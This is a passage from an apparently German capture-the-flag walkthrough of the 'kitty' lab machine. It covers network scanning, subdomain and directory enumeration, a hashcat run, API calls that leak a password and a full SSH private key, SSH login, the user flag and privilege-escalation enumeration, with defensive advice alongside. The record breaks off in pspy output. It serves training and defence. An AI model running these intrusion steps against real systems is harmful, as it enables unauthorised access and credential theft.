Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerksegment. `arp-scan -l` sendet ARP-Anfragen an alle möglichen Adressen im lokalen Netz und listet die Antworten auf.
Bewertung: Dieser Befehl ist ein grundlegendes Werkzeug zur Netzwerkerkundung. Er zeigt uns die IP- und MAC-Adresse eines potenziellen Ziels (192.168.2.100), das zur PCS Systemtechnik GmbH gehört. Dies könnte unser Zielsystem sein oder ein anderes Gerät im Netz. Es ist wichtig, die IP zu notieren und weiter zu untersuchen.
Empfehlung (Pentester): Notieren Sie die gefundene IP-Adresse. Führen Sie als Nächstes einen Portscan (z.B. mit `nmap`) auf diese IP durch, um offene Dienste zu identifizieren.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung können helfen, die Sichtbarkeit von Hosts zu begrenzen und unautorisierte Scans zu erkennen. ARP-Spoofing-Schutzmechanismen können ebenfalls implementiert werden.
192.168.2.100 08:00:27:e0:f6:fe PCS Systemtechnik GmbH
Analyse: Nach der Identifizierung der IP-Adresse (hier als 192.168.2.150 angenommen, vermutlich durch einen vorherigen Scan oder Korrektur) wird `nmap` verwendet, um offene Ports, Dienste und deren Versionen zu scannen.
-sS
: Führt einen SYN-Scan durch (Stealth Scan).-sC
: Führt Standard-Nmap-Skripte aus, um zusätzliche Informationen zu sammeln.-T5
: Setzt das Timing-Template auf "insane" für einen sehr schnellen Scan (potenziell auffällig und unzuverlässiger).-sV
: Versucht, die Versionen der laufenden Dienste zu ermitteln.-A
: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute.-p-
: Scannt alle 65535 TCP-Ports.Bewertung: Der Scan deckt drei offene Ports auf:
Empfehlung (Pentester):
Starting Nmap 7.93 ( https://nmap.org ) at ... Nmap scan report for 192.168.2.150 Host is up (0.0010s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA) | 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA) |_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://kitty.hmv |_http-server-header: nginx/1.18.0 3000/tcp open ppp? | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK [...] MAC Address: 08:00:27:E0:F6:FE (PCS Systemtechnik GmbH) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.4 - 5.17 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.03 ms 192.168.2.150 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 55.15 seconds
Analyse: `nikto` ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen, Standarddateien und anderen Sicherheitsproblemen sucht. Hier wird er auf den Webserver auf Port 80 (IP `192.168.2.150`) angewendet.
Bewertung: Nikto bestätigt den `nginx/1.18.0` Server und identifiziert mehrere fehlende Sicherheitsheader:
Empfehlung (Pentester): Beachten Sie die fehlenden Header als potenzielle, wenn auch oft geringfügige, Schwachstellen. Konzentrieren Sie sich weiterhin auf die Enumeration von Inhalten und Anwendungslogik. Die Weiterleitung unterstreicht die Notwendigkeit, den Hostnamen `kitty.hmv` in `/etc/hosts` zu verwenden.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options: DENY` oder `SAMEORIGIN`, `X-Content-Type-Options: nosniff`, `Content-Security-Policy`) in der Nginx-Konfiguration, um die Sicherheit gegen Clickjacking und bestimmte XSS-Varianten zu erhöhen. Verwenden Sie `nikto -h
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.150 + Target Hostname: 192.168.2.150 + Target Port: 80 + Start Time: 2022-10-16 00:19:02 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.18.0 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Root page / redirects to: http://kitty.hmv + No CGI Directories found (use '-C all' to force check all possible dirs) + 6553 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2022-10-16 00:19:15 (GMT2) (13 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Da der Webserver auf Port 80 (`kitty.hmv`) virtuelle Hosts verwendet (erkennbar an der Weiterleitung), wird `wfuzz` eingesetzt, um nach weiteren Subdomains unter `kitty.hmv` zu suchen.
-c
: Aktiviert Farbausgabe.-w ...
: Gibt die Wortliste an (hier eine Liste gängiger Subdomains).-H "Host: FUZZ.kitty.hmv"
: Modifiziert den Host-Header. `FUZZ` wird durch die Einträge aus der Wortliste ersetzt.-u http://kitty.hmv
: Die Basis-URL.--hh 169
: Versteckt Antworten mit 169 Zeichen (wahrscheinlich die Standard-Weiterleitungsseite).Bewertung: `wfuzz` findet eine gültige Subdomain: `cookie.kitty.hmv`. Diese antwortet mit Statuscode 200 (OK) und hat eine andere Größe als die ausgeblendeten Antworten, was darauf hindeutet, dass hier anderer Inhalt zu finden ist. Die Warnung bezüglich OpenSSL ist für HTTP-Scans in der Regel irrelevant.
Empfehlung (Pentester): Fügen Sie die neu entdeckte Subdomain `cookie.kitty.hmv` ebenfalls zur `/etc/hosts`-Datei hinzu, die auf die IP `192.168.2.150` zeigt. Untersuchen Sie anschließend `http://cookie.kitty.hmv/` auf Inhalte und Schwachstellen.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Subdomains öffentlich erreichbar sind. Implementieren Sie ggf. Wildcard-DNS-Einträge mit Bedacht und sorgen Sie dafür, dass nicht verwendete virtuelle Hosts korrekt deaktiviert oder gesichert sind. Überwachen Sie DNS-Anfragen und Webserver-Logs auf Anzeichen von Subdomain-Enumeration.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://kitty.hmv/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003045: 200 37 L 105 W 2785 Ch "cookie"
Total time: 10.19699s
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 489.2628
Analyse: Um auf die Webseiten `kitty.hmv` und die neu entdeckte Subdomain `cookie.kitty.hmv` zugreifen zu können, wird die lokale `/etc/hosts`-Datei bearbeitet. `vi` ist ein textbasierter Editor.
Bewertung: Die Zeile `192.168.2.150 cookie.kitty.hmv kitty.hmv` wird hinzugefügt. Dies weist das lokale System an, Anfragen an diese Hostnamen direkt an die IP-Adresse des Zielservers zu senden, anstatt einen DNS-Server zu befragen. Dies ist ein notwendiger Schritt, um Webseiten zu erreichen, die über virtuelle Hosts auf dem Zielserver konfiguriert sind.
Empfehlung (Pentester): Stellen Sie sicher, dass die Datei korrekt gespeichert wird. Überprüfen Sie die Erreichbarkeit der Webseiten im Browser oder mit `curl`, um sicherzustellen, dass der Eintrag funktioniert.
Empfehlung (Admin): Dies ist eine lokale Konfigurationsänderung auf dem Angreifer-System und hat keine direkten Auswirkungen auf den Server. Es zeigt jedoch, wie virtuelle Hosts aufgelöst werden können, wenn kein entsprechender öffentlicher DNS-Eintrag existiert.
# Host-Datei Inhalt (nach Bearbeitung):
127.0.0.1 localhost
127.0.1.1 cyber
192.168.2.150 cookie.kitty.hmv kitty.hmv
Analyse: Nach der Konfiguration der `/etc/hosts`-Datei wird `gobuster` verwendet, um Verzeichnisse und Dateien auf der Subdomain `http://cookie.kitty.hmv/` zu finden.
dir
: Modus für Verzeichnis-/Datei-Enumeration.-u http://cookie.kitty.hmv/
: Die Ziel-URL.-w ...
: Die Wortliste (hier eine mittelgroße Liste von Verzeichnisnamen).-e
: Erweiterter Modus, gibt vollständige URLs aus.-x ...
: Eine Liste von Dateierweiterungen, die zusätzlich zu den Verzeichnisnamen getestet werden sollen.-t 100
: Anzahl der Threads (sehr hoch, potenziell laut).-s "200,204,301,302,307,401"
: Nur Ergebnisse mit diesen HTTP-Statuscodes anzeigen (Erfolg, Weiterleitung, Authentifizierung erforderlich).| grep -v "Size: 0"
: Filtert Ergebnisse heraus, die eine Größe von 0 haben (oft uninteressant).Bewertung: `gobuster` entdeckt mehrere interessante Pfade:
/home
(Status 301 -> /home/
): Ein potenzielles Benutzerverzeichnis oder eine Startseite./register.php
(Status 200): Eine Registrierungsseite. Dies ist oft ein guter Angriffspunkt./login.php
(Status 200): Eine Anmeldeseite. Hier könnten Zugangsdaten getestet werden./index.php
(Status 200): Die Hauptseite./assets
(Status 301 -> /assets/
): Ein Verzeichnis für statische Dateien (CSS, JS, Bilder)./config
(Status 301 -> /config/
): Ein Konfigurationsverzeichnis. Zugriff darauf könnte sensible Informationen preisgeben.Empfehlung (Pentester):
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cookie.kitty.hmv/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: zip,flac,dsd,xml,tar,bak,mp3,alac,wav,txt,jpeg,js,aac,ogg,7z,py,png,git,html,sql,jpg,mp4,mkv,php,pl,aiff,bck [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/16 00:23:22 Starting gobuster in directory enumeration mode =============================================================== http://cookie.kitty.hmv/home (Status: 301) [Size: 169] [--> http://cookie.kitty.hmv/home/] http://cookie.kitty.hmv/register.php (Status: 200) [Size: 3796] http://cookie.kitty.hmv/login.php (Status: 200) [Size: 3015] http://cookie.kitty.hmv/index.php (Status: 200) [Size: 2785] http://cookie.kitty.hmv/assets (Status: 301) [Size: 169] [--> http://cookie.kitty.hmv/assets/] http://cookie.kitty.hmv/config (Status: 301) [Size: 169] [--> http://cookie.kitty.hmv/config/] =============================================================== 2022/10/16 00:24:10 Finished ===============================================================
Analyse: Hier wird `hashcat` vorbereitet, um einen Passwort-Hash zu knacken. Der Hash `357f47546ba3ab1cf633d3d0c54e2583` zusammen mit dem Salt `YXZpam5leWFt` wird angegeben.
-m 10
: Spezifiziert den Hash-Typ `md5($pass.$salt)`.-a 0
: Wählt den Angriffsmodus "Straight" (Wörterbuchangriff).357f...:YXZ...
: Der Hash und der Salt, getrennt durch einen Doppelpunkt./usr/share/wordlists/rockyou.txt
: Die verwendete Wörterbuchdatei.Bewertung: Dies ist der Versuch, ein Passwort zu knacken, das vermutlich aus der Webanwendung (`cookie.kitty.hmv`) stammt (wahrscheinlich aus der Datenbank, die später untersucht wird). Der Hash-Typ `md5($pass.$salt)` ist relativ unsicher. Die `rockyou.txt`-Liste ist eine gängige Wahl für Wörterbuchangriffe. Der Erfolg dieses Angriffs hängt davon ab, ob das ursprüngliche Passwort in der Wortliste enthalten ist. *Wichtiger Hinweis: Der Text zeigt nur den Start von Hashcat, nicht das Ergebnis. Es ist unklar, ob das Passwort geknackt wurde.*
Empfehlung (Pentester): Lassen Sie `hashcat` laufen. Wenn es erfolgreich ist, notieren Sie das gefundene Passwort und versuchen Sie, es für den entsprechenden Benutzer (vermutlich 'gitea', wie später entdeckt) auf der Login-Seite oder per SSH zu verwenden. Wenn nicht erfolgreich, versuchen Sie andere Wortlisten oder Angriffsmodi (z.B. Regel-basiert `-a 0 -r rules/best64.rule`).
Empfehlung (Admin): Verwenden Sie niemals MD5 zum Hashen von Passwörtern. Setzen Sie moderne, starke Hashing-Algorithmen wie Argon2 oder bcrypt mit einem eindeutigen Salt pro Benutzer ein. Erzwingen Sie komplexe Passwörter und verbieten Sie die Verwendung von Passwörtern, die in bekannten Datenlecks vorkommen.
hashcat (v6.2.5) starting OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ======================================================================================================================================= * Device #1: pthread-AMD Ryzen 9 5900X 12-Core Processor, 11189/22442 MB (4096 MB allocatable), 8MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 [...]
Analyse: Der `curl`-Befehl wird verwendet, um eine HTTP-GET-Anfrage an einen Endpunkt einer API zu senden, die unter `http://whythisapiissofast.kitty.hmv:3000/api/v2/-1` läuft. Der Hostname `whythisapiissofast.kitty.hmv` wurde vermutlich durch Analyse von Netzwerkanfragen, Quellcode oder Datenbankeinträgen (wie später ersichtlich) entdeckt und muss ebenfalls in `/etc/hosts` eingetragen werden.
Bewertung: Die API antwortet mit einem JSON-Objekt, das Zugangsdaten enthält: `"Credentials":"nobody : 74k3!7345y"`. Dies ist ein kritischer Fund. Es scheint sich um einen Benutzernamen (`nobody`) und ein Passwort (`74k3!7345y`) zu handeln. Der Endpunkt `-1` deutet möglicherweise auf einen unsicheren direkten Objektverweis (IDOR) oder eine absichtlich platzierte Information hin.
Empfehlung (Pentester):
{"success":"Yay! You Found Login Credentials","Credentials":"nobody : 74k3!7345y"}
Analyse: Aufbauend auf dem vorherigen Fund wird nun der API-Endpunkt `-2` mit `curl` abgefragt.
Bewertung: Die API gibt einen privaten SSH-Schlüssel im PEM-Format zurück. Dies ist ein weiterer extrem kritischer Fund. Private Schlüssel sollten niemals auf diese Weise exponiert werden. Der Schlüssel beginnt mit `-----BEGIN OPENSSH PRIVATE KEY-----` und endet mit `-----END OPENSSH PRIVATE KEY-----`. Im Kommentar des Schlüssels steht `dyutidhara@free4all`, was stark auf den zugehörigen Benutzernamen `dyutidhara` hindeutet.
Empfehlung (Pentester):
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Analyse: Hier wird versucht, sich per SSH auf dem Zielsystem (`kitty.hmv`) als Benutzer `dyutidhara` anzumelden. Es wird die Option `-i idr` verwendet, was darauf hindeutet, dass der zuvor gefundene private Schlüssel in einer Datei namens `idr` gespeichert wurde. *Hinweis: Der Dateiname `idr` unterscheidet sich von meinem Vorschlag `id_rsa_kitty`. Wahrscheinlich wurde der Schlüssel in `idr` gespeichert und die Berechtigungen angepasst (`chmod 600 idr`).*
Bewertung: Die Anmeldung ist erfolgreich! Wir erhalten eine Shell als Benutzer `dyutidhara` auf dem Zielsystem `kitty`. Die Systeminformationen (Debian 5.10) und die letzte Login-Zeit werden angezeigt. Dies bestätigt, dass der gefundene SSH-Schlüssel gültig war und der Benutzer `dyutidhara` existiert und per SSH erreichbar ist.
Empfehlung (Pentester): Der initiale Zugriff wurde erlangt. Nächste Schritte:
Linux kitty 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Mar 29 06:39:26 2022 from 192.168.1.5 dyutidhara@kitty:~$
Analyse: Nachdem der Zugriff als `dyutidhara` erlangt wurde, wird die Datei `user.txt` im Home-Verzeichnis gelesen, um die User-Flag zu erhalten.
Bewertung: Der Befehl ist erfolgreich und gibt die User-Flag aus: `3702f4d1247163b61b1cd8b368539cbf`. Dies ist ein typisches Ziel in Capture-the-Flag-Szenarien (CTFs) und markiert den erfolgreichen Abschluss der Phase des initialen Zugriffs.
Empfehlung (Pentester): Notieren Sie die User-Flag. Konzentrieren Sie sich nun vollständig auf die Privilege Escalation, um Root-Zugriff zu erlangen und die Root-Flag zu finden.
Empfehlung (Admin): In einer realen Umgebung sollten sensible Dateien wie Flags nicht existieren. Konzentrieren Sie sich auf die Sicherung des Benutzerkontos und die Verhinderung der Rechteausweitung.
3702f4d1247163b61b1cd8b368539cbf
Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu überprüfen, welche Befehle der aktuelle Benutzer (`dyutidhara`) mit `sudo` (also mit Root-Rechten) ausführen darf. Es wird nach dem Passwort für `dyutidhara` gefragt.
Bewertung: Da das Passwort für `dyutidhara` nicht bekannt ist (der Zugriff erfolgte über einen SSH-Schlüssel), kann der Befehl nicht erfolgreich ausgeführt werden. Die Ausgabe `sudo: a password is required` zeigt, dass `dyutidhara` keine `sudo`-Rechte ohne Passwort hat. Dies schließt einen einfachen Weg zur Rechteausweitung über `sudo` aus.
Empfehlung (Pentester): Da `sudo -l` nicht funktioniert, suchen Sie nach anderen Wegen zur Rechteausweitung: SUID-Binaries, fehlerhafte Dateiberechtigungen, Kernel-Exploits, Cronjobs, unsichere Dienste, die als Root laufen.
Empfehlung (Admin): Es ist eine gute Sicherheitspraxis, dass Benutzer Passwörter für `sudo` benötigen. Vergeben Sie `sudo`-Rechte restriktiv und nur für spezifische Befehle, wenn möglich (Least Privilege Prinzip).
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for dyutidhara:
sudo: a password is required
Analyse: Der Befehl `find` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es, eine Datei mit den Rechten des Dateibesitzers (oft Root) auszuführen, unabhängig davon, welcher Benutzer sie startet. `-ls` zeigt detaillierte Informationen zu den gefundenen Dateien an. `2>/dev/null` leitet Fehlermeldungen (wie "Permission denied") ins Nichts um, um die Ausgabe sauber zu halten.
Bewertung: Es wird eine Liste von Standard-Linux-Binaries mit gesetztem SUID-Bit gefunden (z.B. `pkexec`, `gpasswd`, `sudo`, `passwd`, `umount`, `chsh`, `su`, `chfn`, `newgrp`, `mount`, `ssh-keysign`, `dbus-daemon-launch-helper`, `polkit-agent-helper-1`). Diese sind oft notwendig für die Systemfunktion. Es ist wichtig zu prüfen, ob bekannte Schwachstellen in den spezifischen Versionen dieser Binaries existieren oder ob sie auf ungewöhnliche Weise ausgenutzt werden können. Auf den ersten Blick sind hier keine offensichtlich benutzerdefinierten oder ungewöhnlichen SUID-Dateien zu sehen, die oft ein leichteres Ziel darstellen.
Empfehlung (Pentester):
16622 24 -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec
109 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
18979 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo
110 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
3747 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
107 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
3457 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su
106 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
3596 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
3746 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
268059 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign
137330 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
16625 20 -rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1
Analyse: Das Tool `pspy64` wird in das `/tmp`-Verzeichnis hochgeladen (vermutlich zuvor per `scp` oder `wget`), ausführbar gemacht (`chmod +x`) und gestartet. `pspy` ist ein Tool zur Überwachung von Linux-Prozessen ohne Root-Rechte. Es lauscht auf Prozess-Erstellungsereignisse und kann helfen, automatisierte Aufgaben oder Cronjobs zu entdecken, die möglicherweise für Privilege Escalation ausgenutzt werden können.
Bewertung: `pspy` startet und listet die initial laufenden Prozesse auf. Die Ausgabe zeigt verschiedene System- und Benutzerprozesse, darunter den SSH-Daemon (`sshd`), Webserver (`nginx`, `php-fpm`, `gitea`, `uvicorn`), Datenbank (`mariadbd`) und den `pspy64`-Prozess selbst. Besonders auffällig sind die wiederkehrenden `CMD: UID=0 PID=... | /usr/sbin/CRN -f`-Einträge. Dies deutet stark auf einen Cronjob hin, der sehr häufig (möglicherweise jede Minute oder öfter) als Root (`UID=0`) ausgeführt wird. Der Prozessname `CRN` ist ungewöhnlich und könnte ein verschleierter oder benutzerdefinierter Prozess sein, der mit Cron zusammenhängt.
Empfehlung (Pentester):
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░░ ██▒▒██ ▒ ▓██░░ ██▒▒██ ██▒ ▓██░ ██▓▒ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒░▒██▒ ░ ░ ██▒▓░ ▒▓▒░ ░ ░ ▒▓▒ ▒ ░░▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ▒ ░ ▒ ▓██ ▒ ░ ░░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2022/10/20 06:18:26 CMD: UID=0 PID=9 | 2022/10/20 06:18:26 CMD: UID=1000 PID=820 | ./pspy64 2022/10/20 06:18:26 CMD: UID=1000 PID=773 | -bash 2022/10/20 06:18:26 CMD: UID=1000 PID=772 | sshd: dyutidhara@pts/0 2022/10/20 06:18:26 CMD: UID=1000 PID=748 | (sd-pam) 2022/10/20 06:18:26 CMD: UID=1000 PID=747 | /lib/systemd/systemd --user 2022/10/20 06:18:26 CMD: UID=0 PID=744 | sshd: dyutidhara [priv] 2022/10/20 06:18:26 CMD: UID=108 PID=541 | /usr/local/bin/gitea web -c /etc/gitea/app.ini 2022/10/20 06:18:26 CMD: UID=33 PID=526 | php-fpm: pool www 2022/10/20 06:18:26 CMD: UID=33 PID=525 | php-fpm: pool www 2022/10/20 06:18:26 CMD: UID=0 PID=52 | 2022/10/20 06:18:26 CMD: UID=33 PID=517 | nginx: worker process 2022/10/20 06:18:26 CMD: UID=0 PID=516 | nginx: master process /usr/sbin/nginx -g daemon on; master_process on; 2022/10/20 06:18:26 CMD: UID=0 PID=514 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 2022/10/20 06:18:26 CMD: UID=107 PID=513 | /usr/sbin/mariadbd 2022/10/20 06:18:26 CMD: UID=0 PID=51 | 2022/10/20 06:18:26 CMD: UID=33 PID=436 | /usr/bin/python3 -m uvicorn main:app 2022/10/20 06:18:26 CMD: UID=0 PID=432 | /sbin/agetty -o -p -- \\u --noclear tty1 linux 2022/10/20 06:18:26 CMD: UID=0 PID=431 | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal 2022/10/20 06:18:26 CMD: UID=0 PID=43 | 2022/10/20 06:18:26 CMD: UID=0 PID=425 | php-fpm: master process (/etc/php/7.3/fpm/php-fpm.conf) 2022/10/20 06:18:26 CMD: UID=33 PID=422 | /usr/bin/bash /usr/local/src/FastAPI/run.sh 2022/10/20 06:18:26 CMD: UID=0 PID=418 | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 2022/10/20 06:18:26 CMD: UID=0 PID=4 | 2022/10/20 06:18:26 CMD: UID=0 PID=389 | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant 2022/10/20 06:18:26 CMD: UID=0 PID=381 | /lib/systemd/systemd-logind 2022/10/20 06:18:26 CMD: UID=0 PID=379 | /usr/sbin/rsyslogd -n -iNONE 2022/10/20 06:18:26 CMD: UID=104 PID=376 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 2022/10/20 06:18:26 CMD: UID=0 PID=375 | /usr/sbin/cron -f 2022/10/20 06:18:26 CMD: UID=101 PID=296 | /lib/systemd/systemd-timesyncd 2022/10/20 06:18:26 CMD: UID=0 PID=290 | /lib/systemd/systemd-udevd 2022/10/20 06:18:26 CMD: UID=0 PID=270 | /lib/systemd/systemd-journald 2022/10/20 06:18:26 CMD: UID=0 